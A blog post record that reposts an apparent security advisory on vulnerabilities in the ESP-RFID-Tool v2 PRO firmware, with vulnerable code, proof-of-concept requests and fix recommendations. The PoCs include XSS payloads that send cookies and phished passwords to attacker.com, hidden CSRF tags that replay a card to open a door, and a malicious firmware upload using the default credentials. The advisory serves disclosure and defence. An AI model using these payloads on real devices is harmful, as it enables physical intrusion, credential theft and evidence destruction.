{"id":50207,"date":"2026-04-29T12:45:27","date_gmt":"2026-04-29T12:45:27","guid":{"rendered":"http:\/\/localhost\/?p=50207"},"modified":"2026-04-29T12:45:27","modified_gmt":"2026-04-29T12:45:27","slug":"esp-rfid-tool-v2-pro-traversal-xss-bypass-enumeration","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=50207","title":{"rendered":"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \/ XSS \/ Bypass \/ Enumeration_PACKETSTORM:220045"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-29T17:06:58&#8243;,&#8221;description&#8221;:&#8221;ESP-RFID-Tool V2 PRO suffers from bypass, cross site request forgery, cross site scripting, information leakage, path traversal, and multiple other vulnerabilities. The vendor has seemingly taken a hostile approach to responding to these findings and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-29T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-29T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \/ XSS \/ Bypass \/ Enumeration&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220045&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;# Security Advisory: ESP-RFID-Tool v2 PRO\\n    \\n    **Product:** ESP-RFID-Tool v2 PRO\\n    **Vendor:** Raik Schneider (Einstein2150), foto-video-it.de\\n    **Repository:** https:\/\/github.com\/Einstein2150\/ESP-RFID-Tool-v2\\n    **Affected Version:** v2.2.1 (latest as of 2026-04-28)\\n    **Severity:** CRITICAL\\n    **Disclosure Type:** Full Public Disclosure\\n    **Disclosure Date:** 2026-04-28\\n    **Researcher:** Milan &#8216;t4c&#8217; Berger\\n    \\n    &#8212;\\n    \\n    ## Disclosure Timeline\\n    \\n    | Date | Event |\\n    |&#8212;&#8212;|&#8212;&#8212;-|\\n    | 2026-04-26 | Vulnerabilities discovered during code review |\\n    | 2026-04-27 | Researcher posted responsible disclosure comment on his\\n    advertisement on Youtube (GitHub issues disabled by vendor) |\\n    | 2026-04-28 | Vendor deleted the disclosure comment without response |\\n    | 2026-04-28 | Researcher posted responsible disclosure comment again on\\n    his advertisement on Youtube (GitHub issues disabled by vendor) |\\n    | 2026-04-28 | Vendor deleted the disclosure comment without response |\\n    | 2026-04-28 | Researcher attempted contact via additional social media\\n    channels |\\n    | 2026-04-28 | Vendor blocked researcher on all contacted channels; no\\n    acknowledgment given |\\n    | 2026-04-28 | Full public disclosure \u2014 48h contact window exhausted,\\n    vendor uncooperative |\\n    \\n    &#8212;\\n    \\n    ## Summary\\n    \\n    The ESP-RFID-Tool v2 PRO is a commercial hardware\/firmware product sold by\\n    Raik Schneider targeting security researchers and red team operators. It is\\n    based on an ESP8266 microcontroller and provides a web interface for\\n    logging, replaying, and analyzing Wiegand RFID data from physical access\\n    control systems.\\n    \\n    Multiple critical security vulnerabilities were identified in firmware\\n    v2.2.1. The most severe findings allow any unauthenticated attacker with\\n    network access to: replay captured RFID credentials against physical door\\n    locks, read the complete device configuration including plaintext\\n    passwords, and permanently destroy all captured evidence \u2014 all without\\n    authentication.\\n    \\n    Note: A full practical verification of all exploits involving physical\\n    signal transmission could not be performed as no Wiegand access terminal\\n    was available during testing.\\n    \\n    The vendor was notified through all available channels. All notifications\\n    were deleted, and the researcher was blocked. Full disclosure follows.\\n    \\n    &#8212;\\n    \\n    ## Vulnerability Summary\\n    \\n    | ID | Severity | Title |\\n    |&#8212;-|&#8212;&#8212;&#8212;-|&#8212;&#8212;-|\\n    | ESPR-01 | **CRITICAL** | Unauthenticated Wiegand TX \u2014 Physical Access\\n    Control Bypass |\\n    | ESPR-02 | **MEDIUM** | Log Deletion via Default Credentials (Auth\\n    present, but trivially bypassed) |\\n    | ESPR-03 | **CRITICAL** | Path Traversal \u2014 Arbitrary SPIFFS File Read |\\n    | ESPR-04 | **HIGH** | Reflected Cross-Site Scripting (XSS) |\\n    | ESPR-05 | **HIGH** | Stored XSS via Log Injection |\\n    | ESPR-06 | **HIGH** | Hardcoded Default Credentials |\\n    | ESPR-07 | **HIGH** | Unauthenticated Log View + Filesystem Enumeration |\\n    | ESPR-08 | **MEDIUM** | No CSRF Protection \u2014 Entire Application |\\n    | ESPR-09 | **MEDIUM** | Plaintext FTP Server |\\n    | ESPR-10 | **MEDIUM** | Missing Security Response Headers |\\n    | ESPR-11 | **MEDIUM** | No Input Validation on Integer Parameters |\\n    | ESPR-12 | **LOW** | Predictable AP SSID \u2014 Device Fingerprinting |\\n    | ESPR-13 | **INFO** | Captive Portal Mode Widens Attack Surface |\\n    \\n    &#8212;\\n    \\n    ## Detailed Findings\\n    \\n    &#8212;\\n    \\n    ### ESPR-01 \u2014 Unauthenticated Wiegand TX: Physical Access Control Bypass\\n    \\n    **Severity:** CRITICAL\\n    **File:** `api_server.cpp`\\n    **Endpoints:** `\/api\/tx\/bin`, `\/api\/txinstant\/bin`, `\/api\/wiegandencode`\\n    \\n    **Description:**\\n    All Wiegand transmission API endpoints execute hardware TX operations\\n    without any authentication check. Any attacker on the same network can\\n    replay arbitrary Wiegand bitstreams to downstream access control hardware \u2014\\n    unlocking physical doors, gates, or secured areas \u2014 with a single\\n    unauthenticated HTTP GET request.\\n    \\n    **Vulnerable Code:**\\n    &#8220;`cpp\\n    server.on(\\&#8221;\/api\/tx\/bin\\&#8221;, []() {\\n        \/\/ &#8230;\\n        \/\/ No server.authenticate() call\\n        apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait);\\n    });\\n    &#8220;`\\n    \\n    **Proof of Concept:**\\n    &#8220;`bash\\n    # Replay a captured 26-bit HID card to open a door\\n    curl \\&#8221;\\n    http:\/\/192.168.1.1\/api\/tx\/bin?binary=01001100110101010110101001\\u0026pulsewidth=40\\u0026interval=2000\\n    \\&#8221;\\n    \\n    # Re-encode a known UID and transmit\\n    curl \\&#8221;http:\/\/192.168.1.1\/api\/wiegandencode?uid=DEADBEEF\\u0026format=26\\&#8221;\\n    \\n    # Instant transmission (no response wait)\\n    curl \\&#8221;http:\/\/192.168.1.1\/api\/txinstant\/bin?binary=01001100110101010110101001\\n    \\&#8221;\\n    &#8220;`\\n    \\n    **Impact:**\\n    Physical security bypass. An attacker who previously captured a card UID\\n    (e.g. via ESPR-07) can immediately replay it to open the corresponding door\\n    \u2014 all from an unauthenticated HTTP request. This completely undermines the\\n    device&#8217;s operational security model.\\n    \\n    &#8212;\\n    \\n    ### ESPR-02 \u2014 Log Deletion via Default Credentials\\n    \\n    **Severity:** MEDIUM\\n    **File:** `esprfidtool.ino`\\n    **Endpoints:** `\/deletelog`, `\/deletelog\/yes`\\n    \\n    **Description:**\\n    `\/deletelog\/yes` requires HTTP Basic Authentication. However, the default\\n    credentials (`admin:rfidtool`) are hardcoded and publicly known via the\\n    open-source repository. Combined with ESPR-06, any attacker with knowledge\\n    of the default credentials can permanently delete all captured RFID logs.\\n    `\/deletelog` (the confirmation page) has **no authentication**, which also\\n    makes it a direct XSS vector (see ESPR-04).\\n    \\n    **Note:** Live testing confirmed `\/deletelog\/yes` returns HTTP 401 without\\n    credentials. This finding was initially rated CRITICAL based on static code\\n    analysis of an earlier version; auth is present in the tested build.\\n    \\n    **Vulnerable Code:**\\n    &#8220;`cpp\\n    server.on(\\&#8221;\/deletelog\/yes\\&#8221;, [](){\\n      if(!server.authenticate(update_username, update_password))\\n        return server.requestAuthentication();\\n      \/\/ Auth present \u2014 but default credentials are public (admin:rfidtool)\\n      SPIFFS.remove(deletelog);\\n    });\\n    &#8220;`\\n    \\n    **Proof of Concept:**\\n    &#8220;`bash\\n    # Delete log using publicly known default credentials\\n    curl -u admin:rfidtool \\&#8221;http:\/\/192.168.1.1\/deletelog\/yes?payload=\/log.txt\\&#8221;\\n    &#8220;`\\n    \\n    **Impact:**\\n    Any attacker who knows the default credentials (publicly available) can\\n    permanently destroy all captured evidence. Severity is driven by ESPR-06\\n    (hardcoded defaults) \u2014 fixing one without the other provides no real\\n    protection.\\n    \\n    &#8212;\\n    \\n    ### ESPR-03 \u2014 Path Traversal: Arbitrary SPIFFS File Read\\n    \\n    **Severity:** CRITICAL\\n    **File:** `esprfidtool.ino` \u2014 `ViewLog()`\\n    \\n    **Description:**\\n    The `payload` parameter is passed directly to `SPIFFS.open()` without any\\n    path validation or sanitization. An unauthenticated attacker can read any\\n    file stored in the device&#8217;s SPIFFS filesystem, including configuration\\n    files containing plaintext credentials.\\n    \\n    **Vulnerable Code:**\\n    &#8220;`cpp\\n    void ViewLog(){\\n      String payload;\\n      payload += server.arg(0);  \/\/ raw URL arg, no sanitization\\n      File f = SPIFFS.open(payload, \\&#8221;r\\&#8221;);\\n      \/\/ outputs file content directly to browser\\n    }\\n    &#8220;`\\n    \\n    **Proof of Concept:**\\n    &#8220;`bash\\n    # Note: server.arg(0) reads the FIRST URL argument by position, not by name.\\n    # The correct syntax is ?\\u003cfilename\\u003e, not ?payload=\\u003cfilename\\u003e\\n    \\n    # Read device configuration (contains credentials in plaintext)\\n    curl \\&#8221;http:\/\/192.168.1.1\/viewlog?\/esprfidtool.json\\&#8221;\\n    \\n    # Read log files (enumerate first via \/api\/listlogs)\\n    curl \\&#8221;http:\/\/192.168.1.1\/viewlog?\/log.txt\\&#8221;\\n    \\n    # List all available filenames first\\n    curl \\&#8221;http:\/\/192.168.1.1\/api\/listlogs\\&#8221;\\n    &#8220;`\\n    \\n    **Note:** The endpoint only returns content if the file exists on SPIFFS.\\n    The config file `\/esprfidtool.json` is filtered from `ListLogs()` output\\n    but is NOT\\n    filtered in `ViewLog()`, making it directly readable via this endpoint.\\n    \\n    **Example Response:**\\n    &#8220;`json\\n    {\\n      \\&#8221;ssid\\&#8221;: \\&#8221;HomeNetwork\\&#8221;,\\n      \\&#8221;password\\&#8221;: \\&#8221;mysecretwifi\\&#8221;,\\n      \\&#8221;update_username\\&#8221;: \\&#8221;admin\\&#8221;,\\n      \\&#8221;update_password\\&#8221;: \\&#8221;rfidtool\\&#8221;,\\n      \\&#8221;ftp_username\\&#8221;: \\&#8221;ftp-admin\\&#8221;,\\n      \\&#8221;ftp_password\\&#8221;: \\&#8221;rfidtool\\&#8221;\\n    }\\n    &#8220;`\\n    \\n    **Impact:**\\n    Full information disclosure. WiFi credentials, admin passwords, FTP\\n    credentials, and all captured RFID card data (UIDs, bitstreams) are exposed\\n    to any unauthenticated attacker.\\n    \\n    &#8212;\\n    \\n    ### ESPR-04 \u2014 Reflected Cross-Site Scripting (XSS)\\n    \\n    **Severity:** HIGH\\n    **File:** `esprfidtool.ino` \u2014 `DeleteLog()`\\n    **Endpoint:** `GET \/deletelog`\\n    \\n    **Description:**\\n    The `payload` URL parameter is reflected directly into the HTML response\\n    body without sanitization or HTML encoding. An attacker can inject\\n    arbitrary JavaScript that executes in the victim&#8217;s browser.\\n    \\n    **Vulnerable Code:**\\n    &#8220;`cpp\\n    \/\/ server.arg(\\&#8221;payload\\&#8221;) embedded directly into HTML \u2014 no htmlEncode()\\n    server.send(200, \\&#8221;text\/html\\&#8221;, \\&#8221;&#8230; Deleting: \\&#8221; + payload + \\&#8221; &#8230;\\&#8221;);\\n    &#8220;`\\n    \\n    **Proof of Concept:**\\n    &#8220;`\\n    # Basic alert PoC\\n    http:\/\/192.168.1.1\/deletelog?payload=\\u003cscript\\u003ealert(&#8216;Sag Danke&#8217;)\\u003c\/script\\u003e\\n    \\n    # Cookie exfiltration\\n    http:\/\/192.168.1.1\/deletelog?payload=\\u003cscript\\u003edocument.location=&#8217;\\n    http:\/\/attacker.com\/?c=&#8217;+document.cookie\\n    \\u003chttp:\/\/attacker.com\/?c=%27+document.cookie\\u003e\\u003c\/script\\u003e\\n    \\n    # Credential phishing overlay (effective in captive portal context)\\n    http:\/\/192.168.1.1\/deletelog?payload=\\u003cscript\\u003edocument.body.innerHTML=&#8217;\\u003cform\\n    action=\\&#8221;http:\/\/attacker.com\/steal\\&#8221;\\u003e\\u003cinput name=\\&#8221;u\\&#8221;\\n    placeholder=\\&#8221;Username\\&#8221;\\u003e\\u003cinput name=\\&#8221;p\\&#8221; type=\\&#8221;password\\&#8221;\\n    placeholder=\\&#8221;Password\\&#8221;\\u003e\\u003cinput type=\\&#8221;submit\\&#8221;\\u003e\\u003c\/form\\u003e&#8217;\\u003c\/script\\u003e\\n    &#8220;`\\n    \\n    **Impact:**\\n    Session hijacking, credential theft, UI redressing. Severity is elevated\\n    because the device operates as a captive portal \u2014 victims auto-connect and\\n    are served the attacker-controlled page.\\n    \\n    &#8212;\\n    \\n    ### ESPR-05 \u2014 Stored XSS via Log Injection\\n    \\n    **Severity:** HIGH\\n    **File:** `esprfidtool.ino` (log write path)\\n    \\n    **Description:**\\n    Log entries are written to SPIFFS containing raw data including HTML\\n    markup. When logs are rendered via `ViewLog()` or `ListLogs()` without\\n    output encoding, an attacker who can inject HTML\/JavaScript into a log\\n    entry achieves persistent stored XSS. This can be triggered by sending a\\n    crafted Wiegand signal or via the unauthenticated TX API.\\n    \\n    **Proof of Concept:**\\n    &#8220;`bash\\n    # Inject XSS payload via unauthenticated TX endpoint\\n    # Craft a bitstream that results in a log entry containing script tags\\n    # The exact binary depends on how the logging function serializes data,\\n    # but the vector is confirmed by the absence of HTML encoding on log output.\\n    \\n    # After injection, any admin viewing logs triggers the payload:\\n    curl \\&#8221;http:\/\/192.168.1.1\/viewlog?payload=\/log.txt\\&#8221;\\n    # -\\u003e \\u003cscript\\u003e&#8230;\\u003c\/script\\u003e executes in admin browser\\n    &#8220;`\\n    \\n    **Impact:**\\n    Persistent XSS. Any administrator viewing the log file executes\\n    attacker-controlled JavaScript. Can be used to steal credentials or pivot\\n    to further attacks.\\n    \\n    &#8212;\\n    \\n    ### ESPR-06 \u2014 Hardcoded Default Credentials\\n    \\n    **Severity:** HIGH\\n    **File:** `esprfidtool.ino` \u2014 `loadDefaults()`\\n    \\n    **Description:**\\n    Default credentials are hardcoded and publicly known via the open-source\\n    repository. No forced credential change on first boot.\\n    \\n    | Service | Username | Password |\\n    |&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;-|\\n    | Web Interface \/ OTA Update | `admin` | `rfidtool` |\\n    | FTP Server | `ftp-admin` | `rfidtool` |\\n    | WiFi AP SSID | `ESP-RFID-Tool` | *(none by default)* |\\n    \\n    **Proof of Concept:**\\n    &#8220;`bash\\n    # Authenticated firmware update with known default credentials\\n    curl -u admin:rfidtool \\&#8221;http:\/\/192.168.1.1:1337\/update\\&#8221; -F\\n    \\&#8221;image=@malicious.bin\\&#8221;\\n    \\n    # FTP login\\n    ftp 192.168.1.1\\n    # Login: ftp-admin \/ rfidtool\\n    &#8220;`\\n    \\n    **Impact:**\\n    Trivial full authentication bypass for all credential-protected endpoints.\\n    Anyone familiar with the product has immediate access.\\n    \\n    &#8212;\\n    \\n    ### ESPR-07 \u2014 Unauthenticated Log View + Filesystem Enumeration\\n    \\n    **Severity:** HIGH\\n    **File:** `esprfidtool.ino`\\n    **Endpoints:** `\/viewlog`, `\/listlogs`, `\/api\/listlogs`, `\/api\/info`,\\n    `\/api\/lastread`\\n    \\n    **Description:**\\n    All log viewing and filesystem enumeration endpoints require no\\n    authentication. The `\/api\/lastread` endpoint additionally exposes the last\\n    captured card in real time.\\n    \\n    **Proof of Concept:**\\n    &#8220;`bash\\n    # Enumerate all files on device\\n    curl \\&#8221;http:\/\/192.168.1.1\/api\/listlogs\\&#8221;\\n    \\n    # Read captured card data\\n    curl \\&#8221;http:\/\/192.168.1.1\/api\/lastread\\&#8221;\\n    # Response:\\n    {\\&#8221;bits\\&#8221;:26,\\&#8221;bitstream\\&#8221;:\\&#8221;01001100&#8230;\\&#8221;,\\&#8221;uid\\&#8221;:\\&#8221;0A1B2C3D\\&#8221;,\\&#8221;format\\&#8221;:\\&#8221;HID26\\&#8221;}\\n    \\n    # Get device info (firmware version, free space)\\n    curl \\&#8221;http:\/\/192.168.1.1\/api\/info\\&#8221;\\n    &#8220;`\\n    \\n    **Impact:**\\n    Complete exfiltration of all captured RFID card data without any\\n    authentication.\\n    \\n    &#8212;\\n    \\n    ### ESPR-08 \u2014 No CSRF Protection\\n    \\n    **Severity:** MEDIUM\\n    **Scope:** All endpoints\\n    \\n    **Description:**\\n    No CSRF tokens exist. No `SameSite` cookie attributes. No\\n    `Origin`\/`Referer` validation. An attacker who can get an operator to visit\\n    a malicious webpage triggers arbitrary device actions.\\n    \\n    **Proof of Concept:**\\n    &#8220;`html\\n    \\u003c!&#8211; Malicious webpage \u2014 operator visits while connected to device AP &#8211;\\u003e\\n    \\u003c!&#8211; Silently deletes all logs &#8211;\\u003e\\n    \\u003cimg src=\\&#8221;http:\/\/192.168.1.1\/deletelog\/yes?payload=\/log.txt\\&#8221;\\n    style=\\&#8221;display:none\\&#8221;\\u003e\\n    \\n    \\u003c!&#8211; Opens a door via CSRF + unauthenticated TX (ESPR-01) &#8211;\\u003e\\n    \\u003cimg src=\\&#8221;\\n    http:\/\/192.168.1.1\/api\/tx\/bin?binary=01001100110101010110101001\\u0026pulsewidth=40\\u0026interval=2000\\&#8221;\\n    style=\\&#8221;display:none\\&#8221;\\u003e\\n    &#8220;`\\n    \\n    &#8212;\\n    \\n    ### ESPR-09 \u2014 Plaintext FTP Server\\n    \\n    **Severity:** MEDIUM\\n    \\n    FTP credentials and all transferred log data (card UIDs, bitstreams) are\\n    transmitted in cleartext. Trivially intercepted on shared WiFi networks.\\n    \\n    &#8212;\\n    \\n    ### ESPR-10 \u2014 Missing Security Response Headers\\n    \\n    **Severity:** MEDIUM\\n    \\n    No HTTP responses include:\\n    &#8211; `Content-Security-Policy` \u2014 allows unrestricted script execution\\n    (amplifies XSS)\\n    &#8211; `X-Frame-Options` \u2014 clickjacking via iframe\\n    &#8211; `X-Content-Type-Options`\\n    &#8211; `Cache-Control` on sensitive endpoints\\n    \\n    &#8212;\\n    \\n    ### ESPR-11 \u2014 No Input Validation on Integer Parameters\\n    \\n    **Severity:** MEDIUM\\n    **File:** `api_server.cpp`\\n    \\n    &#8220;`cpp\\n    api_pulsewidth = server.arg(\\&#8221;pulsewidth\\&#8221;).toInt();  \/\/ no bounds check\\n    api_datainterval = server.arg(\\&#8221;interval\\&#8221;).toInt();   \/\/ no bounds check\\n    api_wait = server.arg(\\&#8221;wait\\&#8221;).toInt();               \/\/ no bounds check\\n    &#8220;`\\n    \\n    `toInt()` returns 0 on invalid input. Negative values or extreme integers\\n    passed to `apiTX()` may cause undefined hardware behavior or firmware\\n    crashes.\\n    \\n    &#8212;\\n    \\n    ### ESPR-12 \u2014 Predictable AP SSID\\n    \\n    **Severity:** LOW\\n    \\n    Default SSID `ESP-RFID-Tool` allows passive wardriving to identify and\\n    target deployed units. A trivial scanner can auto-enumerate all deployed\\n    devices in range.\\n    \\n    &#8212;\\n    \\n    ### ESPR-13 \u2014 Captive Portal as Attack Force-Multiplier\\n    \\n    **Severity:** INFO\\n    \\n    The device runs a DNS server resolving all domains to itself. Victims\\n    auto-connecting to the AP have all their HTTP traffic redirected to the\\n    device. Combined with XSS findings (ESPR-04, ESPR-05), this enables\\n    large-scale credential phishing against unknowing users.\\n    \\n    &#8212;\\n    \\n    ## Recommendations\\n    \\n    1. Add `server.authenticate()` to **all** endpoints, not only `\/settings`\\n    2. HTML-encode all URL parameters before inserting into HTML responses\\n    3. Restrict `SPIFFS.open()` to a whitelist of allowed log filenames\\n    4. Implement CSRF token validation for all state-changing requests\\n    5. Force credential change on first boot\\n    6. Add `Content-Security-Policy` and other security headers to all responses\\n    7. Validate and bound-check all integer parameters\\n    8. Consider disabling FTP by default; document security implications clearly\\n    \\n    &#8212;\\n    \\n    ## Researcher\\n    \\n    **Discovered and reported by:** Milan &#8216;t4c&#8217; Berger\\n    **Disclosure policy:** Responsible disclosure attempted. Vendor deleted all\\n    notifications and blocked researcher on all channels within 48 hours. Full\\n    public disclosure follows as per standard responsible disclosure practice.\\n    \\n    &#8212;\\n    \\n    *This advisory is published in the public interest. The ESP-RFID-Tool v2\\n    PRO is a commercial product sold for security research and red team use.\\n    Customers of this product should be aware that the device itself contains\\n    critical security vulnerabilities and may be compromised by any party with\\n    network access.*&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220045&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220045\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-29T17:06:58&#8243;,&#8221;description&#8221;:&#8221;ESP-RFID-Tool V2 PRO suffers from bypass, cross site request forgery, cross site scripting, information leakage, path traversal, and multiple other vulnerabilities. The vendor has seemingly&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-50207","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \/ XSS \/ Bypass \/ Enumeration_PACKETSTORM:220045 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=50207\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \/ XSS \/ Bypass \/ Enumeration_PACKETSTORM:220045 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-29T17:06:58&#8243;,&#8221;description&#8221;:&#8221;ESP-RFID-Tool V2 PRO suffers from bypass, cross site request forgery, cross site scripting, information leakage, path traversal, and multiple other vulnerabilities. The vendor has seemingly...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=50207\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-29T12:45:27+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50207#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50207\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \\\/ XSS \\\/ Bypass \\\/ Enumeration_PACKETSTORM:220045\",\"datePublished\":\"2026-04-29T12:45:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50207\"},\"wordCount\":2630,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=50207#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50207\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50207\",\"name\":\"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \\\/ XSS \\\/ Bypass \\\/ Enumeration_PACKETSTORM:220045 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-29T12:45:27+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50207#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=50207\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50207#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 ESP-RFID-Tool V2 PRO Traversal \\\/ XSS \\\/ Bypass \\\/ Enumeration_PACKETSTORM:220045\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 